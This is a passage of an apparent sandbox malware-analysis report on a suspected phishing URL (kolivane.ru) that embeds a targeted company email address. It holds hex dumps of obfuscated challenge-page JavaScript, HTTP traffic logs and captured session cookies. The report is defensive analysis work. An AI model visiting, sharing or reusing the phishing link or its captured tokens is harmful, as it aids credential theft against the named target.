3d 7b 27 49 58 45 79 Data Ascii: s(o[gN(596)](i,D),h[D])):s(i+D,E),C++);return j;function s(G,H,gO){gO=gN,Object[gO(704)][gO(138)][gO(387)](j,H)\|\|(j[H]=[]),j[H][gO(708)](G)}},eT=gJ(732)[gJ(287)](';'),eU=eT[gJ(1194)][gJ(1309)](eT),eM[gJ(1552)]=function(g,h,gQ,i,j,k,l,m){for(gQ=gJ,i={'IXEy
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 68 45 54 78 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 68 71 76 42 51 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 53 63 4c 52 54 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 74 64 59 70 68 27 3a 67 53 28 36 38 38 29 2c 27 55 6b 57 4f 52 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 3d 69 7d 2c 27 48 4c 55 63 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 7a 6b 76 69 49 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3e 69 7d Data Ascii: a':function(h,i){return h\|i},'hETxO':function(h,i){return h(i)},'hqvBQ':function(h,i){return h<<i},'ScLRT':function(h,i){return h===i},'tdYph':gS(688),'UkWOR':function(h,i){return h===i},'HLUcX':function(h,i){return h(i)},'zkviI':function(h,i){return h>i}
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 34 34 29 5d 2c 27 73 69 74 65 6b 65 79 27 3a 65 5b 67 55 28 31 34 36 36 29 5d 5b 67 55 28 31 30 35 35 29 5d 2c 27 6d 6f 64 65 27 3a 78 5b 67 55 28 31 34 36 36 29 5d 5b 67 55 28 37 37 34 29 5d 7d 2c 27 2a 27 29 3b 65 6c 73 65 7b 66 6f 72 28 73 3d 30 3b 73 3c 46 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 55 28 31 31 36 33 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 55 28 37 30 38 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 55 28 31 32 35 35 29 5d 28 30 29 2c 73 3d 30 3b 38 3e 73 3b 48 3d 31 26 4d 7c 48 3c 3c 31 2e 39 39 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 55 28 37 30 38 29 5d 28 64 5b 67 55 28 31 38 34 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 7d Data Ascii: 44)],'sitekey':e[gU(1466)][gU(1055)],'mode':x[gU(1466)][gU(774)]},'*');else{for(s=0;s<F;H<<=1,I==d[gU(1163)](j,1)?(I=0,G[gU(708)](o(H)),H=0):I++,s++);for(M=C[gU(1255)](0),s=0;8>s;H=1&M\|H<<1.99,I==j-1?(I=0,G[gU(708)](d[gU(184)](o,H)),H=0):I++,M>>=1,s++);}}
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 29 2c 46 2b 2b 29 2c 64 65 6c 65 74 65 20 42 5b 43 5d 7d 65 6c 73 65 20 66 6f 72 28 4d 3d 78 5b 43 5d 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 55 28 36 39 34 29 5d 28 64 5b 67 55 28 31 30 32 38 29 5d 28 48 2c 31 29 2c 4d 26 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 55 28 37 30 38 29 5d 28 64 5b 67 55 28 31 30 34 36 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 44 2d 2d 2c 30 3d 3d 44 26 26 46 2b 2b 7d 65 6c 73 65 20 4d 5b 67 55 28 31 34 39 30 29 5d 3d 27 2e 20 27 7d 66 6f 72 28 4d 3d 32 2c 73 3d 30 3b 73 3c 46 3b 48 3d 64 5b 67 55 28 31 33 36 33 29 5d 28 48 2c 31 29 7c 4d 26 31 2e 30 38 2c 64 5b 67 55 28 31 34 32 35 29 5d 28 49 2c 6a 2d 31 29 3f 28 49 3d 30 2c 47 5b 67 55 28 37 30 38 29 5d 28 6f 28 48 Data Ascii: ),F++),delete B[C]}else for(M=x[C],s=0;s<F;H=d[gU(694)](d[gU(1028)](H,1),M&1),I==j-1?(I=0,G[gU(708)](d[gU(1046)](o,H)),H=0):I++,M>>=1,s++);D--,0==D&&F++}else M[gU(1490)]='. '}for(M=2,s=0;s<F;H=d[gU(1363)](H,1)\|M&1.08,d[gU(1425)](I,j-1)?(I=0,G[gU(708)](o(H
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 6f 28 49 2b 2b 29 29 2c 4a 7c 3d 64 5b 67 58 28 32 34 32 29 5d 28 30 3c 4e 3f 31 3a 30 2c 46 29 2c 46 3c 3c 3d 31 29 3b 4f 3d 65 28 4a 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4f 2c 44 5b 67 58 28 37 30 38 29 5d 28 4f 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 58 28 31 39 31 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4e 3d 64 5b 67 58 28 36 39 33 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 67 58 28 31 38 34 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4e 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4f 3d Data Ascii: 1,0==H&&(H=j,G=o(I++)),J\|=d[gX(242)](0<N?1:0,F),F<<=1);O=e(J);break;case 2:return''}for(E=s[3]=O,D[gX(708)](O);;){if(I>i)return'';for(J=0,K=Math[gX(191)](2,C),F=1;F!=K;N=d[gX(693)](G,H),H>>=1,0==H&&(H=j,G=d[gX(184)](o,I++)),J\|=F*(0<N?1:0),F<<=1);switch(O=
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 65 3d 64 2c 66 3d 31 2c 67 3d 31 65 33 2a 65 4d 5b 68 77 28 31 33 32 31 29 5d 5b 68 77 28 31 32 35 37 29 5d 28 65 5b 68 77 28 31 34 33 31 29 5d 28 32 2c 66 29 2c 33 32 29 2c 65 4d 5b 68 77 28 33 33 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 78 29 7b 68 78 3d 68 77 2c 65 4d 5b 65 5b 68 78 28 32 37 36 29 5d 5d 26 26 28 65 4d 5b 68 78 28 31 34 30 29 5d 5b 68 78 28 31 33 36 29 5d 28 29 2c 65 4d 5b 68 78 28 31 34 30 29 5d 5b 68 78 28 34 31 39 29 5d 28 29 2c 65 4d 5b 68 78 28 39 31 30 29 5d 3d 21 21 5b 5d 2c 65 4d 5b 68 78 28 32 33 30 29 5d 5b 68 78 28 38 31 31 29 5d 28 7b 27 73 6f 75 72 63 65 27 3a 68 78 28 39 36 33 29 2c 27 77 69 64 67 65 74 49 64 27 3a 65 4d 5b 68 78 28 31 34 36 36 29 5d 5b 68 78 28 31 33 37 Data Ascii: ,i){return h<<i},e=d,f=1,g=1e3*eM[hw(1321)][hw(1257)](e[hw(1431)](2,f),32),eM[hw(335)](function(hx){hx=hw,eM[e[hx(276)]]&&(eM[hx(140)][hx(136)](),eM[hx(140)][hx(419)](),eM[hx(910)]=!![],eM[hx(230)][hx(811)]({'source':hx(963),'widgetId':eM[hx(1466)][hx(137
2024-12-30 07:07:10 UTC	1369	IN	Data Raw: 5d 5b 68 79 28 31 34 36 37 29 5d 3f 27 68 2f 27 2b 65 4d 5b 68 79 28 31 34 36 36 29 5d 5b 68 79 28 31 34 36 37 29 5d 2b 27 2f 27 3a 27 27 2c 6f 3d 6b 5b 68 79 28 31 30 38 36 29 5d 28 6b 5b 68 79 28 31 30 38 36 29 5d 28 6b 5b 68 79 28 31 30 38 36 29 5d 28 68 79 28 37 35 38 29 2b 6e 2c 6b 5b 68 79 28 34 37 37 29 5d 29 2b 31 2b 6b 5b 68 79 28 31 30 32 30 29 5d 2b 65 4d 5b 68 79 28 31 34 36 36 29 5d 5b 68 79 28 34 32 35 29 5d 2c 27 2f 27 29 2b 65 4d 5b 68 79 28 31 34 36 36 29 5d 2e 63 48 2b 27 2f 27 2c 65 4d 5b 68 79 28 31 34 36 36 29 5d 5b 68 79 28 31 35 30 38 29 5d 29 2c 73 3d 7b 7d 2c 73 5b 68 79 28 31 30 35 35 29 5d 3d 65 4d 5b 68 79 28 31 34 36 36 29 5d 5b 68 79 28 31 30 35 35 29 5d 2c 73 5b 68 79 28 31 35 30 39 29 5d 3d 65 4d 5b 68 79 28 31 34 36 36 29 Data Ascii: ][hy(1467)]?'h/'+eM[hy(1466)][hy(1467)]+'/':'',o=k[hy(1086)](k[hy(1086)](k[hy(1086)](hy(758)+n,k[hy(477)])+1+k[hy(1020)]+eM[hy(1466)][hy(425)],'/')+eM[hy(1466)].cH+'/',eM[hy(1466)][hy(1508)]),s={},s[hy(1055)]=eM[hy(1466)][hy(1055)],s[hy(1509)]=eM[hy(1466)

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 146

Chrome Cache Entry: 147

Chrome Cache Entry: 148

Chrome Cache Entry: 149

Chrome Cache Entry: 150

Chrome Cache Entry: 151

Chrome Cache Entry: 152

Chrome Cache Entry: 153

Chrome Cache Entry: 154

Chrome Cache Entry: 155

Chrome Cache Entry: 156

Chrome Cache Entry: 157

Chrome Cache Entry: 158

Chrome Cache Entry: 159

Chrome Cache Entry: 160

Chrome Cache Entry: 162

Chrome Cache Entry: 163

Chrome Cache Entry: 164

Chrome Cache Entry: 165

Chrome Cache Entry: 166

Chrome Cache Entry: 167

Chrome Cache Entry: 168

Chrome Cache Entry: 169

Chrome Cache Entry: 170

Chrome Cache Entry: 171

Chrome Cache Entry: 172

Chrome Cache Entry: 173

Chrome Cache Entry: 174

Windows Analysis Report
https://N0.kolivane.ru/da4scmQ/#Memily.gamble@amd.com

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:10 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:10 UTC	240	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:10 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8fa031007b674368-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:10 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:11 UTC	1315	OUT	GET /favicon.ico HTTP/1.1 Host: n0.kolivane.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://n0.kolivane.ru/da4scmQ/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlJCd3BjYStJSFNFZGdFZ3U3aXpsUkE9PSIsInZhbHVlIjoiT0lBRGIzOXpWcTRlMDZ3RldCeGZQUXVUNi9WWjdOY0tSTnhPc0VqMW9MNkY4YUtaQzBGTHljU1RGdThsa1JFN3g2SjJwaE8zM0ZZZTVhOFNhNWhMMnRqMk93UjV0SVUxSUppcnVSSnJHbkVHblNsMU00RXlnNm9uSXpuN3pWMkkiLCJtYWMiOiJlNDhlNTNmODEzNjBjNGNmNGZmNzc1NTRhMTNmMDFkOTMzZTdmNGVlNTIxMzQxNzgwMTZmYmM5NmEyMDllZWNkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlJVYWF6SGdvY0FhSFNSUzhpTTVHNkE9PSIsInZhbHVlIjoiZ05rSEhtR0xpS3BRWE1PRGkwN3BYNVRoUEdsL2VFaFBwWVVSZ05ra3kzL1EvMTNSb1NnbWxmdEQ1aEJGcm1EUnhIcGhCdGxWaUp0blhsV1RqUFdINURrRHY0K3JnUVdlU2krbGpJVk1EY3dVS3BncTlPSDh2WXpTOE5wa0JkRHkiLCJtYWMiOiIwYjg3MzVjZDJjOTY4MzJkZmUwMjdmMzlhOGU5YzczYWIxMTk5NjBkMWIzZmMzYjI4MzRkMjQ3MzA5YTlhZmI2IiwidGFnIjoiIn0%3D
2024-12-30 07:07:11 UTC	1056	IN	HTTP/1.1 404 Not Found Date: Mon, 30 Dec 2024 07:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JqB3F5EOlEPxCdIStf0UyImEbIAWi6hPoBlM5xwmpLi3ENnno6TtTC5tdDleX29MbhmykbAVBcvAaKXG%2FELQNVkaJhG%2FnsW3oBQiJZ9cxSJKLhOAFI4Zljw4FawrrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1373&rtt_var=782&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2228&delivery_rate=2045977&cwnd=252&unsent_bytes=0&cid=b543fea35cf5a12c&ts=412&x=0" CF-Cache-Status: MISS Server: cloudflare CF-RAY: 8fa031024b2a7cae-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1959&min_rtt=1949&rtt_var=751&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1893&delivery_rate=1437007&cwnd=195&unsent_bytes=0&cid=a3b304edf40998de&ts=4363&x=0"
2024-12-30 07:07:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2024-12-30 07:07:11 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/331006800:1735539205:PsA15hNH3gEP9lrfrYNXY01wbtfIJRXkUPb-l6YIT3U/8fa030fc5af14414/Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3254 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: Iswu3frafbm9dPBeeQm7EKc.59E_J1rgB_HX7L1BdLw-1735542430-1.1.1.1-EfnkcgitkmNBzy_Mapk_DGq7cSKCZGygmWO9GGyq1puyBD9ACGzuYk_n7w43A7UJ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/8qssp/0x4AAAAAAA1viUI4UDuMAibc/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-30 07:07:11 UTC	3254	OUT	Data Raw: 76 5f 38 66 61 30 33 30 66 63 35 61 66 31 34 34 31 34 3d 42 36 5a 69 4f 69 56 69 4a 69 50 69 2d 69 57 6d 76 37 6d 76 6b 55 6e 6b 6e 48 51 77 6e 51 76 6e 55 6a 48 34 6e 4a 6a 76 53 6d 76 6a 34 73 76 62 7a 69 34 4d 78 6b 7a 4d 4f 72 36 6e 43 76 46 55 56 34 76 65 56 69 76 45 52 76 51 44 79 76 77 49 55 76 48 5a 72 69 53 7a 76 79 69 56 4f 49 76 2d 6d 4d 56 6e 76 59 69 4d 6e 59 4d 39 66 45 30 6e 76 51 79 73 6e 71 44 74 51 35 52 63 30 2d 47 41 45 24 75 38 75 61 72 73 76 68 76 46 36 76 44 76 69 76 31 37 50 38 50 78 4d 76 35 34 37 45 31 76 47 7a 6a 57 58 6b 57 76 56 6b 57 6e 53 78 46 6a 56 6d 72 76 56 45 56 62 52 4d 66 76 6a 39 76 6a 4d 76 70 4a 5a 6e 57 76 76 39 76 4e 39 46 35 34 46 50 78 54 31 6b 76 5a 4d 6d 44 53 52 37 72 53 56 75 37 76 54 42 72 76 6e 34 4b 54 Data Ascii: v_8fa030fc5af14414=B6ZiOiViJiPi-iWmv7mvkUnknHQwnQvnUjH4nJjvSmvj4svbzi4MxkzMOr6nCvFUV4veVivERvQDyvwIUvHZriSzvyiVOIv-mMVnvYiMnYM9fE0nvQysnqDtQ5Rc0-GAE$u8uarsvhvF6vDviv17P8PxMv547E1vGzjWXkWvVkWnSxFjVmrvVEVbRMfvj9vjMvpJZnWvv9vN9F54FPxT1kvZMmDSR7rSVu7vTBrvn4KT
2024-12-30 07:07:11 UTC	799	IN	HTTP/1.1 200 OK Date: Mon, 30 Dec 2024 07:07:11 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 162880 Connection: close cf-chl-gen: zbtl2w2KmZ4cXxgQUzMoTsMsikJ9cxi3G1sUt9ZrijqplZWYCfiiJ96YZkkF+DdMhImM/ZcYZjrJdST6I/e2Tymxb/XB24C3swCdMGnUF40Rv8PTcrJ/I2rKsTOsrI9khHZG4CIGqQC7aoAkFKg/InC3tBbnlkuKfzMHQ5Xhc/iNmsFjBY0/hioan7+p8UMXXShPHES/jkwiIzPHQIy2/MSRkRJ2c2ed0QAnq8oq501XWOp+Nxnn1YlWCITco2SBwi60jqo6X1XUx8iM35DjxmD0LE2Yd48Meb9P6YhL1XibejltsyT18yNmPfhGfuobMCsLzpqsmDQSIkxhdWBGEMtvowRcDo+hIPr6soFS8p9xCejVFylBQgYDEoI6qGFQJHrqkmM1O2LVp7F4gAIrXOBlxjNOA+jEWdekScfM3jF8LwdA5U6FH01LgIUUaUNjRtNQBJUEy2OidiJtJuUBXpf8ayG9T2hYbVvsmKLhOPElZ30oIxe8n/mPkE40JIl0k+CMCXenPn4K30b+qO210fOBi/UoYVB2EpA=$f39iLdn7ogJ0cLB9 Server: cloudflare CF-RAY: 8fa031060c6941de-EWR alt-svc: h3=":443"; ma=86400
2024-12-30 07:07:11 UTC	570	IN	Data Raw: 6b 71 4f 4e 64 62 71 77 6c 33 61 61 6e 38 48 41 76 34 53 52 68 61 47 43 76 72 61 71 77 63 71 62 6f 35 7a 4a 7a 71 62 4f 6b 61 6a 56 77 39 44 48 30 73 65 35 7a 39 69 30 33 64 47 31 35 38 6a 54 74 62 58 70 6f 38 4b 35 37 36 79 70 33 4d 62 67 37 73 50 4d 31 4e 65 34 36 37 62 36 30 4e 6a 7a 41 39 50 72 34 50 61 34 38 50 72 4a 76 4e 37 47 79 41 76 4a 42 64 44 71 45 76 48 69 33 2b 58 6e 42 4e 54 6c 36 77 6a 59 32 39 30 52 33 41 38 5a 42 68 30 6d 43 66 62 7a 4b 50 67 68 35 2b 7a 37 4b 43 6b 79 48 51 4d 41 37 7a 6f 6c 39 43 73 75 4b 66 67 33 51 44 41 54 4c 54 49 42 45 55 59 79 4f 78 52 4c 49 69 6b 66 4b 43 64 42 53 56 49 55 4c 55 67 77 57 56 73 62 56 54 77 57 4e 44 39 4a 57 46 34 69 55 47 51 6b 5a 31 4d 31 51 32 6b 35 58 31 31 51 4f 6b 68 69 53 44 46 52 51 33 42 Data Ascii: kqONdbqwl3aan8HAv4SRhaGCvraqwcqbo5zJzqbOkajVw9DH0se5z9i03dG158jTtbXpo8K576yp3Mbg7sPM1Ne467b60NjzA9Pr4Pa48PrJvN7GyAvJBdDqEvHi3+XnBNTl6wjY290R3A8ZBh0mCfbzKPgh5+z7KCkyHQMA7zol9CsuKfg3QDATLTIBEUYyOxRLIikfKCdBSVIULUgwWVsbVTwWND9JWF4iUGQkZ1M1Q2k5X11QOkhiSDFRQ3B
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 70 6d 50 43 52 69 4f 30 5a 62 57 30 4e 67 4c 6a 6f 78 58 45 64 31 54 45 70 35 62 48 52 75 64 45 64 5a 53 30 46 63 58 6e 68 4e 64 57 39 58 57 45 46 66 51 6b 64 4e 6a 46 71 53 6a 56 42 52 6c 47 4a 30 5a 57 75 62 6d 4a 56 37 6b 46 5a 65 6a 61 4b 64 6a 34 4f 57 71 48 68 7a 6b 6e 6c 39 70 71 75 70 71 58 32 77 67 71 78 39 68 59 36 6c 61 37 6d 6c 73 49 36 51 75 4c 75 68 76 4c 36 57 66 38 4f 5a 6c 5a 2b 5a 74 72 64 2f 67 4d 79 73 72 6f 75 6b 78 39 43 72 76 39 61 78 6a 4c 75 71 72 73 75 75 34 64 71 66 6e 72 71 34 70 4c 72 42 79 64 32 37 76 73 44 63 35 65 54 64 38 4f 79 74 39 73 6a 74 35 4f 62 73 39 37 6a 4d 32 41 44 51 7a 37 76 2b 35 41 48 44 31 77 62 63 78 63 72 64 2f 65 51 43 7a 41 54 67 7a 50 33 48 37 52 49 50 34 64 6e 4e 43 68 73 56 2b 2f 33 75 36 75 76 38 37 Data Ascii: pmPCRiO0ZbW0NgLjoxXEd1TEp5bHRudEdZS0FcXnhNdW9XWEFfQkdNjFqSjVBRlGJ0ZWubmJV7kFZejaKdj4OWqHhzknl9pqupqX2wgqx9hY6la7mlsI6QuLuhvL6Wf8OZlZ+Ztrd/gMysroukx9Crv9axjLuqrsuu4dqfnrq4pLrByd27vsDc5eTd8Oyt9sjt5Obs97jM2ADQz7v+5AHD1wbcxcrd/eQCzATgzP3H7RIP4dnNChsV+/3u6uv87
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 56 53 45 59 6e 4d 56 41 38 63 32 4e 69 52 48 64 56 55 48 59 36 5a 58 70 71 4f 6c 6f 35 64 7a 78 57 5a 45 46 58 68 45 46 33 50 6b 64 41 52 59 35 6d 57 6f 4f 52 56 49 4a 78 6c 49 75 49 6a 6d 78 30 5a 6d 64 34 6c 33 71 44 67 70 53 6b 6e 5a 43 56 71 48 75 48 6a 61 78 2f 69 34 32 77 67 34 2b 51 74 6f 75 53 73 5a 61 7a 70 62 64 39 74 5a 61 77 6d 37 47 33 67 71 57 33 71 49 61 45 77 38 53 4a 69 4c 43 4a 6a 34 79 51 71 70 4f 51 6c 38 53 58 6c 4a 76 59 6d 35 69 66 74 70 2b 63 6f 74 43 6a 6f 4b 62 6b 70 36 53 70 37 4b 75 75 71 38 4b 76 34 72 48 73 73 2b 53 76 74 62 66 6e 33 50 53 37 73 50 55 42 32 39 6a 41 41 65 37 35 38 64 6a 4a 77 4e 6f 4d 35 67 6a 77 33 67 7a 6f 30 73 59 48 46 66 51 52 34 78 54 4e 30 75 34 4e 2b 50 44 75 46 76 76 31 34 67 67 64 45 51 4c 38 41 2b Data Ascii: VSEYnMVA8c2NiRHdVUHY6ZXpqOlo5dzxWZEFXhEF3PkdARY5mWoORVIJxlIuIjmx0Zmd4l3qDgpSknZCVqHuHjax/i42wg4+QtouSsZazpbd9tZawm7G3gqW3qIaEw8SJiLCJj4yQqpOQl8SXlJvYm5iftp+cotCjoKbkp6Sp7Kuuq8Kv4rHss+Svtbfn3PS7sPUB29jAAe758djJwNoM5gjw3gzo0sYHFfQR4xTN0u4N+PDuFvv14ggdEQL8A+
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 50 44 35 53 4b 57 5a 44 51 32 78 64 52 6d 31 6f 54 30 74 78 65 30 4a 4e 64 56 6c 35 55 58 6c 64 56 31 56 39 59 4a 46 5a 67 57 69 46 58 59 56 73 63 32 47 4a 63 48 4e 74 6e 58 47 58 65 35 6d 66 70 61 57 55 5a 48 56 33 64 48 71 62 6c 33 39 36 71 5a 32 71 72 4b 6d 67 71 36 43 31 70 72 42 35 75 61 70 32 66 62 32 75 65 37 71 62 73 72 7a 47 67 73 6c 38 74 4b 72 49 7a 4b 7a 48 7a 61 6e 54 6f 4c 4f 70 78 61 43 7a 72 38 71 73 32 74 53 66 74 74 65 34 74 38 36 62 35 71 53 36 33 4f 72 70 74 61 76 64 78 62 37 53 33 37 33 4c 37 4b 33 78 32 62 4c 5a 74 76 6a 54 2b 4c 62 50 36 64 4f 38 37 2f 4c 53 42 64 2f 67 78 64 76 66 39 73 7a 4f 42 75 6b 52 35 4e 37 54 34 64 48 71 47 67 30 53 37 64 73 63 38 78 45 4e 32 52 34 58 37 78 4d 46 48 2b 49 61 4c 66 6b 74 35 42 30 53 2b 67 6b Data Ascii: PD5SKWZDQ2xdRm1oT0txe0JNdVl5UXldV1V9YJFZgWiFXYVsc2GJcHNtnXGXe5mfpaWUZHV3dHqbl396qZ2qrKmgq6C1prB5uap2fb2ue7qbsrzGgsl8tKrIzKzHzanToLOpxaCzr8qs2tSftte4t86b5qS63Orptavdxb7S373L7K3x2bLZtvjT+LbP6dO87/LSBd/gxdvf9szOBukR5N7T4dHqGg0S7dsc8xEN2R4X7xMFH+IaLfkt5B0S+gk
2024-12-30 07:07:11 UTC	1369	IN	Data Raw: 45 70 30 52 55 31 57 66 54 4f 43 62 57 4a 52 62 6c 35 45 63 57 64 38 57 30 31 4b 58 49 64 2f 53 58 75 4e 59 49 65 54 6b 6e 68 51 56 5a 64 31 5a 6d 65 58 69 56 39 68 6f 49 47 59 58 58 75 52 6f 34 74 32 72 47 75 51 71 4b 47 41 6b 49 47 66 68 58 2b 52 72 70 75 78 64 4c 6d 49 72 34 69 64 76 72 57 4f 73 35 52 39 67 4a 71 71 79 70 79 56 74 71 61 4d 75 62 32 4e 6e 70 48 48 77 73 37 50 6f 36 6d 55 76 4e 61 39 79 4d 4c 63 34 64 7a 6a 7a 2b 58 68 6f 4d 48 73 35 73 58 4c 76 38 44 44 79 73 44 43 38 2f 57 30 7a 63 33 4d 36 63 7a 4c 79 76 48 4f 7a 76 50 74 31 74 50 31 41 74 4c 56 2b 4e 2f 57 32 51 72 6a 32 74 30 4e 35 39 37 68 45 4f 76 69 35 52 50 76 35 75 6b 56 38 2b 72 74 47 50 66 75 38 64 2f 37 38 76 58 69 41 50 62 35 35 65 34 69 2f 53 73 6e 42 79 72 30 44 77 73 46 Data Ascii: 